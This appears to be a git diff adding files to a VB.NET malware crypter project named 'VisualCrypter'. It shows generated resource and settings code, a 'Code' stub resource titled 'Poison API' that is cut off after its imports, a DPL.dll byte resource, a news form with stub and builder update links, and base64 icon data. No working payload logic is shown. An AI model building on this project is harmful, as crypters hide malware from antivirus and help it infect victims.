project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("VisualCrypter.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + ''' + ''' Looks up a localized string similar to Option Explicit Off + '''Option Strict Off + '''Imports System, Microsoft.VisualBasic + '''Imports Microsoft.VisualBasic.CompilerServices + '''Imports System.Reflection + '''Imports System.Text + '''Imports System.Security.Cryptography + '''Imports System.IO.Compression + '''Imports System.IO + '''Imports System.Runtime.InteropServices + '''Imports System.Runtime.CompilerServices + '''Imports System.Reflection.Emit + ''' + '''<Assembly: AssemblyTitle("Poison API")> + '''<Assembly: AssemblyDescription("Poison API")> + '''<Assembly: AssemblyCompany("Poison API")> + ''''<A [rest of string was truncated]";. + ''' + Friend ReadOnly Property Code() As String + Get + Return ResourceManager.GetString("Code", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized resource of type System.Byte[]. + ''' + Friend ReadOnly Property DPL() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("DPL", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + End Module +End Namespace diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter/My Project/Resources.resx b/C# (Crypter Source/VisualCrypter/VisualCrypter/My Project/Resources.resx new file mode 100644 index 0000000..4b2420d --- /dev/null +++ b/C# (Crypter Source/VisualCrypter/VisualCrypter/My Project/Resources.resx @@ -0,0 +1,127 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\Code.vb;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\DPL.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter/My Project/Settings.Designer.vb b/C# (Crypter Source/VisualCrypter/VisualCrypter/My Project/Settings.Designer.vb new file mode 100644 index 0000000..0c0302d --- /dev/null +++ b/C# (Crypter Source/VisualCrypter/VisualCrypter/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.VisualCrypter.My.MySettings + Get + Return Global.VisualCrypter.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter/My Project/Settings.settings b/C# (Crypter Source/VisualCrypter/VisualCrypter/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/C# (Crypter Source/VisualCrypter/VisualCrypter/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter/News.Designer.vb b/C# (Crypter Source/VisualCrypter/VisualCrypter/News.Designer.vb new file mode 100644 index 0000000..14912a6 --- /dev/null +++ b/C# (Crypter Source/VisualCrypter/VisualCrypter/News.Designer.vb @@ -0,0 +1,208 @@ + _ +Partial Class News + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(News)) + Me.Theme1 = New VisualCrypter.Theme() + Me.VsGroupBox3 = New VisualCrypter.VSGroupBox() + Me.LinkLabel2 = New System.Windows.Forms.LinkLabel() + Me.VsGroupBox2 = New VisualCrypter.VSGroupBox() + Me.VsTextBox1 = New VisualCrypter.VSTextBox() + Me.VsGroupBox1 = New VisualCrypter.VSGroupBox() + Me.LinkLabel1 = New System.Windows.Forms.LinkLabel() + Me.VsControlBox1 = New VisualCrypter.VSControlBox() + Me.Theme1.SuspendLayout() + Me.VsGroupBox3.SuspendLayout() + Me.VsGroupBox2.SuspendLayout() + Me.VsGroupBox1.SuspendLayout() + Me.SuspendLayout() + ' + 'Theme1 + ' + Me.Theme1.BackColor = System.Drawing.Color.FromArgb(CType(CType(37, Byte), Integer), CType(CType(37, Byte), Integer), CType(CType(38, Byte), Integer)) + Me.Theme1.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Theme1.Controls.Add(Me.VsGroupBox3) + Me.Theme1.Controls.Add(Me.VsGroupBox2) + Me.Theme1.Controls.Add(Me.VsGroupBox1) + Me.Theme1.Controls.Add(Me.VsControlBox1) + Me.Theme1.Customization = "MC0t/3Fxcf8=" + Me.Theme1.Dock = System.Windows.Forms.DockStyle.Fill + Me.Theme1.Font = New System.Drawing.Font("Segoe UI", 11.0!) + Me.Theme1.Image = Nothing + Me.Theme1.Location = New System.Drawing.Point(0, 0) + Me.Theme1.Movable = True + Me.Theme1.Name = "Theme1" + Me.Theme1.NoRounding = False + Me.Theme1.Sizable = True + Me.Theme1.Size = New System.Drawing.Size(363, 280) + Me.Theme1.SmartBounds = True + Me.Theme1.StartPosition = System.Windows.Forms.FormStartPosition.Manual + Me.Theme1.TabIndex = 0 + Me.Theme1.TransparencyKey = System.Drawing.Color.Empty + Me.Theme1.Transparent = False + ' + 'VsGroupBox3 + ' + Me.VsGroupBox3.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.VsGroupBox3.Controls.Add(Me.LinkLabel2) + Me.VsGroupBox3.Customization = "NzMz//////8=" + Me.VsGroupBox3.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsGroupBox3.Image = Nothing + Me.VsGroupBox3.Location = New System.Drawing.Point(14, 87) + Me.VsGroupBox3.Movable = True + Me.VsGroupBox3.Name = "VsGroupBox3" + Me.VsGroupBox3.NoRounding = False + Me.VsGroupBox3.Sizable = True + Me.VsGroupBox3.Size = New System.Drawing.Size(335, 40) + Me.VsGroupBox3.SmartBounds = True + Me.VsGroupBox3.StartPosition = System.Windows.Forms.FormStartPosition.Manual + Me.VsGroupBox3.TabIndex = 3 + Me.VsGroupBox3.Text = "Stub Update:" + Me.VsGroupBox3.TransparencyKey = System.Drawing.Color.Empty + Me.VsGroupBox3.Transparent = False + ' + 'LinkLabel2 + ' + Me.LinkLabel2.AutoSize = True + Me.LinkLabel2.Font = New System.Drawing.Font("Verdana", 8.75!) + Me.LinkLabel2.LinkColor = System.Drawing.Color.Red + Me.LinkLabel2.Location = New System.Drawing.Point(11, 19) + Me.LinkLabel2.Name = "LinkLabel2" + Me.LinkLabel2.Size = New System.Drawing.Size(134, 14) + Me.LinkLabel2.TabIndex = 0 + Me.LinkLabel2.TabStop = True + Me.LinkLabel2.Text = "No Update Available" + ' + 'VsGroupBox2 + ' + Me.VsGroupBox2.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.VsGroupBox2.Controls.Add(Me.VsTextBox1) + Me.VsGroupBox2.Customization = "NzMz//////8=" + Me.VsGroupBox2.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsGroupBox2.Image = Nothing + Me.VsGroupBox2.Location = New System.Drawing.Point(14, 133) + Me.VsGroupBox2.Movable = True + Me.VsGroupBox2.Name = "VsGroupBox2" + Me.VsGroupBox2.NoRounding = False + Me.VsGroupBox2.Sizable = True + Me.VsGroupBox2.Size = New System.Drawing.Size(335, 131) + Me.VsGroupBox2.SmartBounds = True + Me.VsGroupBox2.StartPosition = System.Windows.Forms.FormStartPosition.Manual + Me.VsGroupBox2.TabIndex = 3 + Me.VsGroupBox2.Text = "Todays News :" + Me.VsGroupBox2.TransparencyKey = System.Drawing.Color.Empty + Me.VsGroupBox2.Transparent = False + ' + 'VsTextBox1 + ' + Me.VsTextBox1.Customization = "/////0Y/P/8AAAD/Wlpa/w==" + Me.VsTextBox1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsTextBox1.Image = Nothing + Me.VsTextBox1.Location = New System.Drawing.Point(14, 19) + Me.VsTextBox1.MaxLength = 32767 + Me.VsTextBox1.Multiline = True + Me.VsTextBox1.Name = "VsTextBox1" + Me.VsTextBox1.NoRounding = False + Me.VsTextBox1.ReadOnly = False + Me.VsTextBox1.Size = New System.Drawing.Size(309, 104) + Me.VsTextBox1.TabIndex = 0 + Me.VsTextBox1.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.VsTextBox1.Transparent = False + Me.VsTextBox1.UseSystemPasswordChar = False + ' + 'VsGroupBox1 + ' + Me.VsGroupBox1.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.VsGroupBox1.Controls.Add(Me.LinkLabel1) + Me.VsGroupBox1.Customization = "NzMz//////8=" + Me.VsGroupBox1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsGroupBox1.Image = Nothing + Me.VsGroupBox1.Location = New System.Drawing.Point(14, 41) + Me.VsGroupBox1.Movable = True + Me.VsGroupBox1.Name = "VsGroupBox1" + Me.VsGroupBox1.NoRounding = False + Me.VsGroupBox1.Sizable = True + Me.VsGroupBox1.Size = New System.Drawing.Size(335, 40) + Me.VsGroupBox1.SmartBounds = True + Me.VsGroupBox1.StartPosition = System.Windows.Forms.FormStartPosition.Manual + Me.VsGroupBox1.TabIndex = 2 + Me.VsGroupBox1.Text = "Builder Update:" + Me.VsGroupBox1.TransparencyKey = System.Drawing.Color.Empty + Me.VsGroupBox1.Transparent = False + ' + 'LinkLabel1 + ' + Me.LinkLabel1.AutoSize = True + Me.LinkLabel1.Font = New System.Drawing.Font("Verdana", 8.75!) + Me.LinkLabel1.LinkColor = System.Drawing.Color.Red + Me.LinkLabel1.Location = New System.Drawing.Point(11, 19) + Me.LinkLabel1.Name = "LinkLabel1" + Me.LinkLabel1.Size = New System.Drawing.Size(134, 14) + Me.LinkLabel1.TabIndex = 0 + Me.LinkLabel1.TabStop = True + Me.LinkLabel1.Text = "No Update Available" + ' + 'VsControlBox1 + ' + Me.VsControlBox1.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) + Me.VsControlBox1.Customization = "8PDw//Dw8P8wLS3/8PDw/w==" + Me.VsControlBox1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsControlBox1.Image = Nothing + Me.VsControlBox1.Location = New System.Drawing.Point(310, 6) + Me.VsControlBox1.Name = "VsControlBox1" + Me.VsControlBox1.NoRounding = False + Me.VsControlBox1.Size = New System.Drawing.Size(44, 18) + Me.VsControlBox1.TabIndex = 1 + Me.VsControlBox1.Text = "VsControlBox1" + Me.VsControlBox1.Transparent = False + ' + 'News + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(363, 280) + Me.Controls.Add(Me.Theme1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.Name = "News" + Me.StartPosition = System.Windows.Forms.FormStartPosition.Manual + Me.Text = "News from VisualSoft" + Me.Theme1.ResumeLayout(False) + Me.VsGroupBox3.ResumeLayout(False) + Me.VsGroupBox3.PerformLayout() + Me.VsGroupBox2.ResumeLayout(False) + Me.VsGroupBox1.ResumeLayout(False) + Me.VsGroupBox1.PerformLayout() + Me.ResumeLayout(False) + + End Sub + + Friend WithEvents Theme1 As Theme + Friend WithEvents VsControlBox1 As VSControlBox + Friend WithEvents VsTextBox1 As VSTextBox + Friend WithEvents VsGroupBox1 As VSGroupBox + Friend WithEvents LinkLabel1 As LinkLabel + Friend WithEvents VsGroupBox2 As VSGroupBox + Friend WithEvents VsGroupBox3 As VSGroupBox + Friend WithEvents LinkLabel2 As LinkLabel +End Class diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter/News.resx b/C# (Crypter Source/VisualCrypter/VisualCrypter/News.resx new file mode 100644 index 0000000..6c5cc84 --- /dev/null +++ b/C# (Crypter Source/VisualCrypter/VisualCrypter/News.resx @@ -0,0 +1,700 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAUAQEAAAAEAIAAoQgAAVgAAADAwAAABACAAqCUAAH5CAAAgIAAAAQAgAKgQAAAmaAAAGBgAAAEA + IACICQAAzngAABAQAAABACAAaAQAAFaCAAAoAAAAQAAAAIAAAAABACAAAAAAAABCAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAA + AAIAAAADAAAAAwAAAAQAAAAEAAAABQAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAAAwAA + AAMAAAADAAAAAwAAAAIAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAA + AAEAAAACAAAAAgAAAAMAAAAFAAAABgAAAAcAAAAIAAAACQAAAAoAAAAJAAAACQAAAAkAAAAIAAAACAAA + AAgAAAAIAAAACAAAAAgAAAAHAAAABwAAAAYAAAAEAAAAAwAAAAIAAAABAAAAAQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA + AAIAAAACAAAAAgAAAAMAAAAEAAAABQAAAAYAAAAHAAAACQAAAAsAAAANAAAADwAAABAAAAARAAAAEQAA + ABEAAAAQAAAAEAAAAA8AAAAPAAAADwAAAA8AAAAOAAAADgAAAA0AAAALAAAACQAAAAcAAAAFAAAAAwAA + AAIAAAACAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAABAAAAAgAAAAIAAAAEAAAABQAAAAYAAAAHAAAACAAAAAoAAAALAAAADgAAABEAAAAUAAAAFwAA + ABkAAAAbAAAAHAAAABwAAAAcAAAAGwAAABoAAAAaAAAAGgAAABkAAAAZAAAAGAAAABcAAAAVAAAAEwAA + ABAAAAANAAAACgAAAAcAAAAGAAAABAAAAAMAAAADAAAAAgAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAMAAAAFAAAABwAAAAkAAAALAAAADQAAAA8AAAASAAAAFAAA + ABcAAAAbAAAAHwAAACMAAAAnAAAAKQAAACsAAAAsAAAAKwAAACoAAAApAAAAKAAAACgAAAAoAAAAJwAA + ACYAAAAkAAAAIgAAAB4AAAAaAAAAFQAAABEAAAAOAAAACwAAAAkAAAAIAAAABgAAAAUAAAAEAAAAAgAA + AAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAQAAAAGAAAACQAAAAwAAAAPAAAAEwAA + ABYAAAAZAAAAHAAAACAAAAAkAAAAKQUFBTBBRERVV1tZdGRoZo1scW+kdHh3uWptbJ0AAAA8AAAAOwAA + ADoAAAA6GRkZRGhrapJWWFZwLS0tSAAAADEAAAAsAAAAJwAAACEAAAAcAAAAFwAAABMAAAAQAAAADgAA + AAsAAAAJAAAABwAAAAUAAAADAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAQAAAAHAAAACgAA + AA4AAAATAAAAGAAAAB0AAAAiAAAAJgAAACsAAAAvAAAANAAAADo7PT1ihImH/4SJh/+Ljoz/kZST/5GT + k/+EiYf+LS0tagAAAFAAAABPAAAATmxwb7aIjYv/iI2L/4SJh/+AhYPsd316xV5iYn4AAAAwAAAAKQAA + ACQAAAAfAAAAGgAAABYAAAASAAAADwAAAAsAAAAIAAAABQAAAAMAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAwAA + AAUAAAAHAAAACwAAABAAAAAWAAAAHQAAACQAAAArNDQ0SGptbJQmJiZOAAAAQgAAAEcAAABNR0lHg4SJ + h//Hx8f/zs7O/87Ozv+ysrL/h4qI/2drasEAAABlAAAAZDI0MoKDiIb9qKio/8vLy/+8vLz/paem/4mM + jP92ennJAAAAQQAAADoAAAAzAAAALQAAACgAAAAiAAAAHQAAABcAAAASAAAADQAAAAkAAAAFAAAAAwAA + AAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA + AAIAAAADAAAABAAAAAYAAAAJAAAADQAAABIAAAAYAAAAIAAAAClAQ0BSc3l2tIOIhvuEiYf/foOB6zAy + MnMAAABcAAAAYkhKSpqEiYf/ycnJ/87Ozv/Ozs7/s7Oz/5eYmP+Ch4X6ICIiiwoKCn51enjiiYyL/7S0 + tP/MzMz/zMzM/8LCwv+RlJP/bnJwxgAAAFUAAABOAAAARhISEkdpbGuTQENDUgAAACkAAAAiAAAAGwAA + ABQAAAAOAAAACQAAAAUAAAADAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAQAAAAIAAAADAAAABQAAAAgAAAALAAAADwAAABQAAAAbAAAAIzE1MUJ3fHq9hImH/ouP + jf+mp6b/paWl/4uOjf+BhoT2PD09lwAAAHdMT02wiYyL/8nJyf/Ozs7/zs7O/7Ozs/+np6f/ioyM/3uB + f/J4fHvthImH/6Giof+1tbX/zMzM/8zMzP/CwsL/kZST/2RoZcMAAABqAAAAYjU3NXt8gYDkhYqI/4OI + hvtwdHOlISUlPAAAACUAAAAcAAAAFQAAAA4AAAAKAAAABgAAAAQAAAACAAAAAQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAADAAAABQAAAAgAAAAMAAAAEQAAABcAAAAeAAAAJgAA + ADAsLyxQhImH/q+wsP/Q0ND/y8vL/6qqqv+qqqr/jY+O/4OIhv9tcG/de3998Y+RkP/Kysr/zs7O/87O + zv+0tLT/p6en/5qamv+Gh4f/gYKC/5OTk/+pqan/tbW1/8zMzP/MzMz/wsLC/5WYl/9gY2LLDg4OhFda + WreCh4X7i46M/5WVlf+IiYj/hIiG/4KGhO5kZmZ+AAAAJwAAAB0AAAAWAAAADwAAAAoAAAAHAAAABAAA + AAMAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAABQAAAAgAAAANAAAAEgAA + ABkAAAAhAAAAKgAAADQAAAA/AAAATHB0c8jLy8v/1dXV/8/Pz/+srKz/q6ur/5+fn/+Pj4//gYOC/4mK + iv+kpKT/ysrK/87Ozv/Ozs7/tLS0/6enp/+bm5v/j4+P/4eHh/+YmJj/qamp/7m5uf/MzMz/zMzM/8LC + wv+enp7/hImH/4KHhfyDiIb/i4yM/6Wlpf+Xl5f/jIyM/4aGhv9/goD/hImH/wUFBTYAAAAoAAAAHwAA + ABcAAAAQAAAACwAAAAgAAAAFAAAAAwAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAABAAA + AAgAAAAMAAAAEgAAABoAAAAjRUhFUEZJSWEAAABEAAAAUAAAAF4wMjKIy8zL/9nZ2f/T09P/ra2t/6ur + q/+fn5//kpKS/4WFhf+VlZX/p6en/8rKyv/Q0ND/1dXV/8XFxf+srKz/m5ub/4+Pj/+Hh4f/mJiY/6mp + qf++vr7/zMzM/8zMzP/CwsL/p6en/5OTk/+IiYn/h4eH/5eXl/+np6f/lpaW/4qKiv+FhYX/f4CA/4KH + hfcAAABCAAAANQAAACoAAAAgAAAAGAAAABEAAAAMAAAACAAAAAQAAAACAAAAAQAAAAAAAAAAAAAAAAAA + AAAAAAABAAAAAwAAAAYAAAALAAAAEQAAABkAAAAjSkpKVYKHhfKEiYf/fIGA5FteXasfISGBAAAAfczN + zPjc3Nz/1tbW/6+vr/+srKz/n5+f/5KSkv+Ghob/lZWV/83Nzf/19fX/9PT0//Py8//w7/H/zs7O/5ub + m/+Pj4//h4eH/5iYmP+srKz/8PDw//T09P/r6+v/3t7e/7+/v/+bm5v/jY2N/4iIiP+Xl5f/p6en/5SU + lP+IiIj/goKC/3+Af/9/g4LwAAAAUgAAAEQAAAA3AAAALAAAACEAAAAYAAAAEQAAAAsAAAAHAAAABAAA + AAEAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAQAAAAJAAAADwAAABYAAAAgRUhIUIGHhO+ho6P/paam/5OV + lP+Gioj/hImH/32CgPXKzMv/4ODg/9ra2v+zs7P/rKys/5+fn/+SkpL/hoaG/5SUlP/Z2dn/7Ovx/7q0 + zv+xq8j/ysfa/+jo6v+fn5//j4+P/4eHh/+YmJj/zMzM/+3s8P/Iw9n/0s/b/+vr7f/t7e3/oaGh/42N + jf+IiIj/mJiY/6ioqP+UlJT/hYWF/4CAgP9+f3//en996gAAAGMxMzFwZGhmnHl9fMZITExQAAAAIQAA + ABcAAAAQAAAACQAAAAUAAAACAAAAAQAAAAAAAAAAAAAAAQAAAAMAAAAHAAAADAAAABMAAAAdQURERoGG + hOumqKj/5ubm/7Gxsf+0tLT/srKy/5ucnP+PkJD/zs7O/+jo6P/v7+//7u7u/7y8vP+fn5//k5OT/4aG + hv+UlJT/29vb/83J2v+ln73/pJ69/6ijwP/n5uz/v7+//4+Pj/+Hh4f/paWl/+rp6//BvdT/opu//6Ob + wP+3ssr/6urq/5ycnP+NjY3/iYmJ/5iYmP+oqKj/lJSU/4ODg/9+fn7/fX9+/4SJh/98gX/uhImH/4mN + i/+KjIv/gIWD5CUlJTYAAAAeAAAAFAAAAA0AAAAHAAAAAwAAAAEAAAAAAAAAAQAAAAIAAAAFAAAACQAA + ABAAAAAZAAAAJGdra4eJjoz/7+/v/+fn5/+xsbH/tLS0/7Ozs/+qqqr/sLCw/+vr6//39/f/4+Ln/+Lg + 6f/p6Ov/urq6/5OTk/+Ghob/lJSU/+Dg4P/IxNb/pqG9/6Wgvf+moL3/yMLW/+Tk5v+1tbX/qamp/97d + 3//Y1eL/pJ6//6Ocvv+knL7/u7fM/+fn5/+YmJj/jIyM/4mJif+ZmZn/tra2/93d3f/FxcX/jIyM/3x8 + fP+EhoX/jY+O/5+fn/+zs7P/jIyM/4OGhf95fXzABwcHJgAAABoAAAAQAAAACgAAAAUAAAACAAAAAQAA + AAIAAAAEAAAACAAAAA0AAAAVAAAAHwAAACxpbWuXio+N//T09P/n5+f/sbGx/7S0tP+zs7P/qamp/7+/ + v//q6ez/vrrP/6mkvv+ppL//y8jY/+bl6f/FxcX/mpqa/7e3t//n5un/tLDI/6ehvf+nor3/pqG9/6ag + vP/Iw9X/4N/l/+Dg5P/Qzdv/qKPA/6Wevv+knr7/pJ2+/7mzzP/l5eX/mZmZ/4yMjP+Li4v/vLy8/+Tk + 5f/e3OX/0dDU/9nZ2f+zs7P/mJiY/56env+oqKj/s7Oz/4mJif+CgoL/hImH/2tvbYYAAAAfAAAAFAAA + AA0AAAAHAAAAAwAAAAEAAAADAAAABgAAAAsAAAARAAAAGwAAACcAAAA1aWxrpoqPjf/09PT/5+fn/7Gx + sf+0tLT/srKy/6ioqP+jo6P/3d3f/8XC1P+qpr//q6W+/6qlvv+8uM3/29ni/+Df4//g3+T/xMLS/6mk + vv+ppL3/qKO9/6mjvf+oo73/p6K9/6eivf+mobz/pqG9/6agvf+moL7/pqC9/6Wfvv+oosD/29ve/9HR + 0f+2trb/0dHR/93d4P/Au9T/pJ3C/6adxf++uNL/3d3g/7y8vP+cnJz/p6en/7Gxsf+JiYn/hYWF/4OG + hP90eXewAAAAJgAAABkAAAAQAAAACQAAAAUAAAACAAAABAAAAAgAAAAOAAAAFgAAACE7OztIAAAAPmpu + bbOKj43/9PT0/+fn5/+xsbH/tLS0/7Kysv+oqKj/np6e/7u7u//c2+L/q6e//6ynv/+rpr7/q6e+/6um + vv+vqsD/rKi+/6qlvf+qpb3/qqW9/6mkvP+ppb3/qaS9/6ijvf+oo73/qKK8/6eivf+nor3/p6K9/6eh + vf+moL3/pqC+/6+qxf/Ix8//ysnP/8PA0v+tp8f/pZ7B/6Wdwv+lnsP/x8Ha/9TU1v+Wlpb/m5ub/6Wl + pf+wsLD/h4eH/4ODg/+DhoX/cXV0rwAAACwAAAAfAAAAFAAAAAwAAAAGAAAAAgAAAAUAAAAKAAAAEQAA + ABpCRUVFhImH/oGGhPCEiYf/io+N//T09P/w8PD/0dHR/7+/v/+xsbH/p6en/56env+jo6P/3dzg/7Sv + xP+sp77/rKi//62ov/+sp77/rKi+/6ynvv+sp77/rKe9/6unvf+rpr3/q6e+/6umvv+qpb3/qqW9/6ij + vP+po73/qKO9/6ijvf+oo73/p6G9/6eivv+mob7/pqC+/6agvv+mn7//pZ+//6aewP+ln8H/rafF/9jW + 3v+kpKT/j4+P/5mZmf+kpKT/r6+v/4eHh/+BgYH/goWE/2twbqoAAAAzAAAAJAAAABgAAAAPAAAACAAA + 